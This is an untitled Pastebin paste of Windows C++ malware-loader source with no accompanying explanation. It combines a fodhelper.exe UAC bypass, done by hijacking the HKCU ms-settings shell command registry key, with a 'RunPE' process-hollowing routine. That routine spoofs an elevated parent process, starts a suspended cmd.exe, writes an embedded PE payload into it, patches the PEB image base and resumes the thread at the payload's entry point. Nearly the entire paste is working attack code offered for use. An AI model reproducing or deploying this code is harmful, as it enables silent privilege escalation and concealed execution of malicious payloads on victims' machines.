Advertisement
Guest User

Untitled

a guest
Apr 18th, 2021
225
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C++ 8.51 KB | None | 0 0
  1. #include <Windows.h>
  2. #include <ShlObj_core.h>
  3. #include <malloc.h>
  4. #include <winternl.h>
  5.  
  6. #pragma warning(disable : 4706)
  7.  
  8. #define STATUS_SUCCESS ((NTSTATUS)0x00000000L)
  9. #define STATUS_UNSUCCESSFUL ((NTSTATUS)0xC0000001L)
  10. #define STATUS_INFO_LENGTH_MISMATCH      ((NTSTATUS)0xC0000004L)
  11.  
  12. #define SE_DEBUG_PRIVILEGE (20L)
  13. EXTERN_C
  14. WINBASEAPI
  15. PIMAGE_BASE_RELOCATION
  16. NTAPI
  17. LdrProcessRelocationBlock(PVOID VirtualAddress, ULONG RelocCount, PUSHORT TypeOffset, LONG_PTR Delta);
  18.  
  19. ULONG BOOL_TO_ERROR(BOOL f)
  20. {
  21.     return f ? NOERROR : GetLastError();
  22. }
  23.  
  24. ULONG WriteImage(void* Image, HANDLE hProcess, void** pEntryPoint)
  25. {
  26.     PIMAGE_NT_HEADERS NtHeader = (PIMAGE_NT_HEADERS)((PBYTE)Image + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
  27.  
  28.     ULONG SizeOfImage = NtHeader->OptionalHeader.SizeOfImage;
  29.  
  30.     if (PVOID buf = LocalAlloc(0, SizeOfImage))
  31.     {
  32.         RtlZeroMemory(buf, SizeOfImage);
  33.  
  34.         memcpy(buf, Image, NtHeader->OptionalHeader.SizeOfHeaders);
  35.  
  36.         if (ULONG NumberOfSections = NtHeader->FileHeader.NumberOfSections)
  37.         {
  38.             PIMAGE_SECTION_HEADER SectionHeader = IMAGE_FIRST_SECTION(NtHeader);
  39.  
  40.             do
  41.             {
  42.                 ULONG VirtualSize = SectionHeader->Misc.VirtualSize;
  43.                 ULONG SizeOfRawData = SectionHeader->SizeOfRawData;
  44.  
  45.                 if (VirtualSize = min(VirtualSize, SizeOfRawData))
  46.                 {
  47.                     memcpy((PBYTE)buf + SectionHeader->VirtualAddress,
  48.                         (PBYTE)Image + SectionHeader->PointerToRawData, VirtualSize);
  49.                 }
  50.  
  51.             } while (SectionHeader++, --NumberOfSections);
  52.         }
  53.  
  54.         ULONG dwError = NOERROR;
  55.  
  56.         if (PVOID BaseAddress = VirtualAllocEx(hProcess, 0, SizeOfImage, MEM_COMMIT, PAGE_EXECUTE_READWRITE))
  57.         {
  58.             NtHeader = (PIMAGE_NT_HEADERS)((PBYTE)buf + ((PIMAGE_DOS_HEADER)Image)->e_lfanew);
  59.  
  60.             *pEntryPoint = (PBYTE)BaseAddress + NtHeader->OptionalHeader.AddressOfEntryPoint;
  61.  
  62.             if (ULONG Size = NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size)
  63.             {
  64.                 LONG_PTR Delta = (LONG_PTR)BaseAddress - (LONG_PTR)NtHeader->OptionalHeader.ImageBase;
  65.  
  66.                 union {
  67.                     PIMAGE_BASE_RELOCATION pibr;
  68.                     PBYTE pb;
  69.                     PVOID pv;
  70.                 };
  71.  
  72.                 pv = (PBYTE)buf + NtHeader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
  73.  
  74.                 ULONG SizeOfBlock;
  75.                 do
  76.                 {
  77.  
  78.                     SizeOfBlock = pibr->SizeOfBlock;
  79.                     pibr = LdrProcessRelocationBlock((PBYTE)buf + pibr->VirtualAddress,
  80.                         (SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(USHORT), (PUSHORT)(pibr + 1), Delta);
  81.  
  82.                 } while (Size -= SizeOfBlock);
  83.  
  84.                 NtHeader->OptionalHeader.ImageBase = (ULONG_PTR)BaseAddress;
  85.             }
  86.  
  87.             dwError = BOOL_TO_ERROR(WriteProcessMemory(hProcess, BaseAddress, buf, SizeOfImage, 0));
  88.  
  89.             if (dwError == NOERROR)
  90.             {
  91.                 PROCESS_BASIC_INFORMATION pbi;
  92.                 NTSTATUS status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), 0);
  93.                
  94.                 if (0 > status)
  95.                 {
  96.                     dwError = RtlNtStatusToDosError(status);
  97.                 }
  98.                 else
  99.                 {
  100.                     struct PEB_BEGIN {
  101.                         ULONG Flags;
  102.                         HANDLE Mutant;
  103.                         PVOID ImageBaseAddress;
  104.                     };
  105.  
  106.                     dwError = BOOL_TO_ERROR(WriteProcessMemory(hProcess,
  107.                         &((PEB_BEGIN*)pbi.PebBaseAddress)->ImageBaseAddress, &BaseAddress, sizeof(PVOID), 0));
  108.                 }
  109.             }
  110.         }
  111.         else
  112.         {
  113.             dwError = GetLastError();
  114.         }
  115.  
  116.         LocalFree(buf);
  117.  
  118.         return dwError;
  119.     }
  120.  
  121.     return GetLastError();
  122. }
  123.  
  124. NTSTATUS OpenElevatedProcess(PHANDLE phProcess, PSYSTEM_PROCESS_INFORMATION pspi)
  125. {
  126.     ULONG NextEntryOffset = 0;
  127.     do
  128.     {
  129.         (PBYTE&)pspi += NextEntryOffset;
  130.  
  131.         if (pspi->UniqueProcessId)
  132.         {
  133.             if (HANDLE hProcess = OpenProcess(PROCESS_QUERY_LIMITED_INFORMATION|PROCESS_CREATE_PROCESS,
  134.                 FALSE, (ULONG)pspi->UniqueProcessId))
  135.             {
  136.                 HANDLE hToken;
  137.                 if (OpenProcessToken(hProcess, TOKEN_QUERY, &hToken))
  138.                 {
  139.                     ULONG cb;
  140.                     TOKEN_ELEVATION te;
  141.                     BOOL f = GetTokenInformation(hToken, TokenElevation, &te, sizeof(te), &cb);
  142.                     CloseHandle(hToken);
  143.  
  144.                     if (f && te.TokenIsElevated)
  145.                     {
  146.                         *phProcess = hProcess;
  147.                         return STATUS_SUCCESS;
  148.                     }
  149.                 }
  150.                 CloseHandle(hProcess);
  151.             }
  152.         }
  153.  
  154.     } while (NextEntryOffset = pspi->NextEntryOffset);
  155.  
  156.     return STATUS_UNSUCCESSFUL;
  157. }
  158.  
  159. BOOL AdjustDebugPrivileges()
  160. {
  161.     BOOL b = false;
  162.     HANDLE hToken, hNewToken;
  163.  
  164.     if (OpenProcessToken(GetCurrentProcess(), TOKEN_DUPLICATE, &hToken))
  165.     {
  166.         b = DuplicateTokenEx(hToken, TOKEN_ADJUST_PRIVILEGES|TOKEN_IMPERSONATE,
  167.             0, ::SecurityImpersonation, ::TokenImpersonation, &hNewToken);
  168.  
  169.         CloseHandle(hToken);
  170.  
  171.         if (b)
  172.         {
  173.             static const TOKEN_PRIVILEGES tp = { 1, { { { SE_DEBUG_PRIVILEGE }, SE_PRIVILEGE_ENABLED } } };
  174.  
  175.             AdjustTokenPrivileges(hNewToken, FALSE, const_cast<PTOKEN_PRIVILEGES>(&tp), 0, 0, 0);
  176.                        
  177.             b = GetLastError() == NOERROR ? SetThreadToken(0, hNewToken) : false;
  178.  
  179.             CloseHandle(hNewToken);
  180.         }
  181.     }
  182.  
  183.     return b;
  184. }
  185.  
  186. NTSTATUS OpenElevatedProcess(PHANDLE phProcess)
  187. {
  188.     union {
  189.         PVOID buf;
  190.         PSYSTEM_PROCESS_INFORMATION pspi;
  191.     };
  192.  
  193.     NTSTATUS status;
  194.  
  195.     ULONG cb = 0x1000;
  196.     do
  197.     {
  198.         status = STATUS_NO_MEMORY;
  199.         if (buf = LocalAlloc(0, cb += 0x1000))
  200.         {
  201.             if (0 <= (status = NtQuerySystemInformation(SystemProcessInformation, buf, cb, &cb)))
  202.             {
  203.                 AdjustDebugPrivileges();
  204.                 status = OpenElevatedProcess(phProcess, pspi);
  205.                 SetThreadToken(0, 0);
  206.             }
  207.             LocalFree(buf);
  208.         }
  209.     } while (status == STATUS_INFO_LENGTH_MISMATCH);
  210.  
  211.     return status;
  212. }
  213.  
  214. ULONG NTRX_RUNPE(void* Image)
  215. {  
  216.     WCHAR comspec[MAX_PATH];
  217.  
  218.     if (!GetEnvironmentVariableW(L"comspec", comspec, _countof(comspec)))
  219.     {
  220.         return GetLastError();
  221.     }
  222.  
  223.     PROCESS_INFORMATION PI {};
  224.     STARTUPINFOEXW SI = { { sizeof(SI)} };
  225.  
  226.     SIZE_T s = 0;
  227.     ULONG dwError;
  228.  
  229.     while (ERROR_INSUFFICIENT_BUFFER == (dwError = BOOL_TO_ERROR(
  230.         InitializeProcThreadAttributeList(SI.lpAttributeList, 1, 0, &s))) && !SI.lpAttributeList)
  231.     {      
  232.         SI.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST)alloca(s);
  233.     }
  234.  
  235.     if (dwError == NOERROR)
  236.     {
  237.         HANDLE hParent;
  238.         dwError = BOOL_TO_ERROR(UpdateProcThreadAttribute(SI.lpAttributeList, 0,
  239.             PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hParent, sizeof(hParent), 0, 0));
  240.  
  241.         if (dwError == NOERROR)
  242.         {
  243.             NTSTATUS status = OpenElevatedProcess(&hParent);
  244.             if (0 <= status)
  245.             {
  246.                 dwError = BOOL_TO_ERROR(CreateProcessW(comspec, NULL, NULL, NULL, FALSE,
  247.                     CREATE_SUSPENDED | DETACHED_PROCESS | EXTENDED_STARTUPINFO_PRESENT,
  248.                     NULL, NULL, &SI.StartupInfo, &PI));
  249.  
  250.                 CloseHandle(hParent);
  251.             }
  252.             else
  253.             {
  254.                 dwError = RtlNtStatusToDosError(status);
  255.             }
  256.  
  257.             if (dwError == NOERROR)
  258.             {
  259.                 CONTEXT CTX {};
  260.  
  261. #if defined(_AMD64_)
  262. #define Xyz Rcx
  263. #elif defined(_X86_)
  264. #define Xyz Eax
  265. #else
  266. #error
  267. #endif
  268.                 PVOID EntryPoint;
  269.  
  270.                 if (NOERROR == (dwError = WriteImage(Image, PI.hProcess, &EntryPoint)))
  271.                 {
  272.                     CTX.ContextFlags = CONTEXT_INTEGER;
  273.  
  274.                     BOOL fOk = FALSE;
  275.  
  276.                     if (GetThreadContext(PI.hThread, &CTX))
  277.                     {
  278.                         CTX.Xyz = (ULONG_PTR)EntryPoint;
  279.                         fOk = SetThreadContext(PI.hThread, &CTX) && (ResumeThread(PI.hThread) != (ULONG)-1);
  280.                     }
  281.  
  282.                     if (!fOk)
  283.                     {
  284.                         dwError = GetLastError();
  285.                     }
  286.                 }
  287.  
  288.                 if (dwError != NOERROR)
  289.                 {
  290.                     TerminateProcess(PI.hProcess, 0);
  291.                 }
  292.  
  293.                 CloseHandle(PI.hThread);
  294.                 CloseHandle(PI.hProcess);
  295.             }
  296.         }
  297.  
  298.         DeleteProcThreadAttributeList(SI.lpAttributeList);
  299.     }
  300.  
  301.     return dwError;
  302. }
  303.  
  304.  
  305. void elevateProcess() {
  306.  
  307.     if (!IsUserAnAdmin()) {
  308.  
  309.         HKEY hKey;
  310.         WCHAR lpFile[MAX_PATH];
  311.         PVOID oldVal;
  312.  
  313.         if (GetModuleFileNameW(NULL, lpFile, _countof(lpFile)))
  314.         {
  315.             if (NOERROR == RegCreateKeyW(HKEY_CURRENT_USER, L"SOFTWARE\\Classes\\ms-settings\\shell\\open\\command", &hKey))
  316.             {
  317.                 if (!RegSetValueExW(hKey, L"DelegateExecute", 0, REG_SZ, 0, 0) &&
  318.                     !RegSetValueExW(hKey, 0, 0, REG_SZ, (LPBYTE)lpFile, (1+wcslen(lpFile))*sizeof(WCHAR)))
  319.                 {
  320.                     if (Wow64DisableWow64FsRedirection(&oldVal))
  321.                     {
  322.                         if (SearchPathW(0, L"fodhelper.exe", 0, _countof(lpFile), lpFile, 0))
  323.                         {
  324.                             SHELLEXECUTEINFOW sei = {
  325.                                 sizeof(sei), SEE_MASK_NOCLOSEPROCESS, 0, L"runas", lpFile, 0, 0, SW_HIDE
  326.                             };
  327.  
  328.                             if (ShellExecuteExW(&sei))
  329.                             {
  330.                                 WaitForSingleObject(sei.hProcess, INFINITE);
  331.                                 CloseHandle(sei.hProcess);
  332.                             }
  333.                         }
  334.  
  335.                         Wow64DisableWow64FsRedirection(&oldVal);
  336.                     }
  337.                 }
  338.  
  339.                 RegCloseKey(hKey);
  340.        
  341.                 RegDeleteTreeW(HKEY_CURRENT_USER, L"SOFTWARE\\Classes\\ms-settings\\shell");
  342.             }
  343.         }
  344.         ExitProcess(0);
  345.     }
  346. }
  347.  
  348. extern unsigned char rawData[];
  349.  
  350. void WINAPI ep() {
  351.  
  352.     MessageBoxW(0, 0, L"ep", MB_ICONINFORMATION);
  353.  
  354.     elevateProcess();
  355.  
  356.     ExitProcess(NTRX_RUNPE(rawData)) ;
  357. }
  358.  
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement